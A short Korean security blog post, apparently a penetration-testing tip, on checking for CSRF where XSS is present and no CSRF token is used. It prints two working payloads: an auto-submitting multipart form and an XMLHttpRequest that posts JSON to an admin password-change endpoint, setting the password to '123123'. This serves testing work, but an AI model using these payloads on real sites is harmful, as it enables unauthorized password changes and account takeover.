반응형
XSS가 발생하는 환경에서 CSRF 보호 기법(csrf token)이 적용되어 있지 않으면 당연히 CSRF를 확인해야 합니다.
CSRF Payload by multipart/form-data
<form name="form" action="/hacksms" method="POST" enctype="multipart/form-data">
<input type="text" name="id" value="eth">
<input type="text" name="pwd" value="sms">
</form>
<script>
document.getElementsByName("form")[0].submit();
</script>
CSRF Paylod by json
요새는 많은 서버에서 Content-type을 applicaiton/json으로 보내는데, 이런 경우 가장 기본중의 기본인 form tag를 이용하여 CSRF를 확인하기는 어렵습니다.
이런 경우 XMLHttpRequest()를 이용하여 CSRF를 확인하면 쉽게 확인할 수 있습니다.
var xhr = new XMLHttpRequest();
var url = "/admin/pwd_chg.do";
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "application/json");
var data = JSON.stringify({"id": "sms@sms.com", "chg_pwd": "123123"});
xhr.send(data);
location.href="/main.do";
반응형
'Hack > Web' 카테고리의 다른 글
[CVE-2017-5487] WordPress REST API 1-Day 취약점 (0) | 2022.05.17 |
---|---|
postman을 활용한 API 진단 시 유용한 스크립트.zip (0) | 2022.05.11 |
[Chrome] 시크릿 모드에서 확장 플러그인 사용 방법 (0) | 2022.04.26 |
Server Side Template Injection (SSTI) (0) | 2022.04.12 |
Spring4Shell (Spring Core Java 0day RCE) (0) | 2022.04.01 |
댓글